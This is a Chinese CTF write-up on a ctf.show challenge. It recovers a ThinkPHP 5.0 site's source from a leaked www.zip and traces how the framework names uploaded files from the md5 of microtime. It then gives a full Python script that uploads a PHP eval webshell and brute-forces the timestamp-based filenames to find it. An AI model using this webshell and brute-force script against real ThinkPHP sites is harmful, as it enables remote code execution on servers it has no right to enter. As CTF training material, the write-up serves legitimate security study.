0x00 前言
这道题值得一记,此后文章我会尽量精简。
0x01 文件
先不看hint
,进题目:

扫二维码后进入一个虚假的赌博网站,什么都干不了。
我尝试控制GET
参数url
,无果。现在根本没有入手点,本质上是缺乏信息,应该去寻找有用信息。
这时就应该扫目录,看看是否有留存文件。先在后台开御剑,自己试几个文件:
- /robots.txt
- /.DS_Store
- /index.phps
- /.git
- /.svn
- /.index.php.swp
御剑结果:

一切信息都指向www.zip,下载查看。
0x02 源码
项目框架应该是ThinkPHP
,我经验尚缺,但是前人有提:
审MVC框架直接看/index/controller下的方法
方法如下:

看到Upload.php
,或许可以利用。文件源码如下:

如果file
为空就会报错。如果存在,上传的时候会经过复杂的命名。
我们关注这里的文件是怎么命名的,但是相关的方法溯源不了。猜想是ThinkPHP
的内置方法,环境覆盖即可:
1
| composer create-project topthink/think=5.0.* tp5 --prefer-dist
|
file经过$info->getSaveName()
,溯源到最后一步:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| protected function buildSaveName($savename) { if (true === $savename) { if ($this->rule instanceof \Closure) { $savename = call_user_func_array($this->rule, [$this]); } else { switch ($this->rule) { case 'date': $savename = date('Ymd') . DS . md5(microtime(true)); break; default: if (in_array($this->rule, hash_algos())) { $hash = $this->hash($this->rule); $savename = substr($hash, 0, 2) . DS . substr($hash, 2); } elseif (is_callable($this->rule)) { $savename = call_user_func($this->rule); } else { $savename = date('Ymd') . DS . md5(microtime(true)); } } } } elseif ('' === $savename || false === $savename) { $savename = $this->getInfo('name'); }
if (!strpos($savename, '.')) { $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION); }
return $savename; }
|
文件名格式:
1
| date(‘Ymd’) . DS . md5(microtime(true)) . ‘.’ . pathinfo($this->getInfo(‘name’), PATHINFO_EXTENSION);
|
保存路径:url/20240723/md5
(精确到小数点后四位的当前时间)。
文件后缀:pathinfo($this->getInfo(‘name’), PATHINFO_EXTENSION)
,即原上传文件的后缀。
- 举个例子,
1.php
最后保存的文件名:md5(精确到小数点后四位的当前时间).php
0x03 上传
可以上传文件,自然想到插马。但是文件的路径有上传时间的调控,所以我们采用脚本爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| import requests from datetime import datetime import subprocess import pytz import hashlib
url = "http://724695db-fe75-4466-82cb-dd345f704f60.challenge.ctf.show/index.php" scriptDate = "" prefix = ""
session = requests.Session() headers = {'User-Agent': 'Android'}
def init(): route = "?url=" + url session.get(url=url + route, headers=headers)
def getPrefix(): route = "index/upload/image" file = {"file": ("1.php", b"<?php echo 'ctfshow';eval($_POST[1]);?>")} response = session.post(url=url + route, files=file, headers=headers) response_date = response.headers['date'] print("正在获取服务器时间:") print(response_date) date_time_obj = datetime.strptime(response_date, "%a, %d %b %Y %H:%M:%S %Z") date_time_obj = date_time_obj.replace(tzinfo=pytz.timezone('GMT')) date_time_obj_gmt8 = date_time_obj.astimezone(pytz.timezone('Asia/Shanghai')) print("正在转换服务器时间:") print(date_time_obj_gmt8) year = date_time_obj_gmt8.year month = date_time_obj_gmt8.month day = date_time_obj_gmt8.day hour = date_time_obj_gmt8.hour minute = date_time_obj_gmt8.minute second = date_time_obj_gmt8.second global scriptDate, prefix scriptDate = str(year) + str(month).zfill(2) + (str("0" + str(day)) if day < 10 else str(day)) print(scriptDate) seconds = int(date_time_obj_gmt8.timestamp()) print("服务器时间:") print(seconds) code = f'''php -r "date_default_timezone_set('Asia/Shanghai');echo mktime({hour},{minute},{second},{month},{day},{year});"''' print("脚本时间:") result = subprocess.run(code, shell=True, capture_output=True, text=True) script_time = int(result.stdout) print(script_time) if seconds == script_time: print("时间碰撞成功,开始爆破毫秒") prefix = seconds else: print("错误,服务器时间和脚本时间不一致") exit()
def remove_trailing_zero(num): if num % 1 == 0: return int(num) else: str_num = str(num) if str_num[-1] == '0': return str_num[:-1] else: return num
def checkUrl(): h = open("url.txt", "a") global scriptDate for i in range(0, 10000): target = str(prefix) + "." + str(i).zfill(4) target = str(remove_trailing_zero(float(target))) print(target) md5 = string_to_md5(target) route = "/uploads/" + scriptDate + "/" + md5 + ".php" print("正在爆破" + url + route) response = session.get(url=url + route, headers=headers) if response.status_code == 200: print("成功getshell,地址为 " + url + route) exit()
h.write(route + "\n") h.close() print("爆破结束") return
def string_to_md5(string): md5_val = hashlib.md5(string.encode('utf8')).hexdigest() return md5_val
if __name__ == "__main__": init() getPrefix() checkUrl()
|
对时间爆破脚本的详细分析在下一篇博客。